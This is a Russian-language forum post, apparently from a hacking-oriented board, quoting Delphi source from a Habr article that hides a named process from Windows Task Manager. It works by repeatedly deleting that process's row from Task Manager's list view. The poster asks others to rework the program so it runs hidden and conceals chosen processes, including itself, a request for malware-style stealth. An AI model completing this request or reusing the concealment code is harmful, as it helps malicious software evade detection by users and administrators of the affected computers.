[HIDE=1]нашел интересную статья на хабре http://habrahabr.ru/post/180933/
в статье предоставлен исходник демонстрационного приложиния на делфи для скрытия процессов из диспетчера задач Windows
познаний в делфи к сожалению не имеется, буду очень признателен ,если кто-нибудь изменит скрипт, чтобы программа запускалась в скрытом режиме и скрывала нужный процесс/процессы (и себя, если это возможно) , которые в свою очередь будут прописываться в скрипте перед компиляцией
[/HIDE]
в статье предоставлен исходник демонстрационного приложиния на делфи для скрытия процессов из диспетчера задач Windows
Код:
var
ind:integer;
h:Thandle;
last_c:integer;
procedure UpdateList();
var
th:THandle;
entry:PROCESSENTRY32;
b:boolean;
i,new_ind:integer;
plist:TStringList;
begin
// Список процессов
plist:=TStringList.Create;
// Формируем список процессов
th := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS,0);
entry.dwSize:=sizeof(PROCESSENTRY32);
b:=Process32First(th,entry);
while(b) do
begin
plist.Add(entry.szExeFile);
b:=Process32Next(th,entry);
end;
// Сортируем его, чтобы индексы элементов
// совпадали с теми, что в диспетчере задач
plist.Sort;
last_c:=plist.Count;
// Поиск индекса нашего процесса 'explorer.exe'
for i:=1 to plist.Count-1 do
if(LowerCase(plist[i])='explorer.exe') then new_ind:=i-1;
// Удаление объекта из списка
if(new_ind<>ind) then ListView_DeleteItem(h,ind);
ind:=new_ind;
plist.Free;
// Запускаем таймер отслеживания обновлений в списке процессов
if(Form1.Timer2.Enabled=false) then Form1.Timer2.Enabled:=true;
end;
procedure TForm1.HideProcessButton(Sender: TObject);
begin
// Ищем дочернее окно класса 'SysListView32'
h:=FindWindow(nil,'Диспетчер задач Windows');
h:=FindWindowEx(h,0,nil,'Процессы');
h:=FindWindowEx(h,0,'SysListView32',nil);
// Запускаем таймер переформирования списка процессов
Timer1.Enabled:=true;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
UpdateList();
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
// Поиск изменений в списке
if(ListView_GetItemCount(h)>last_c) then
ListView_DeleteItem(h,ind);
last_c:=ListView_GetItemCount(h);
end;
[/HIDE]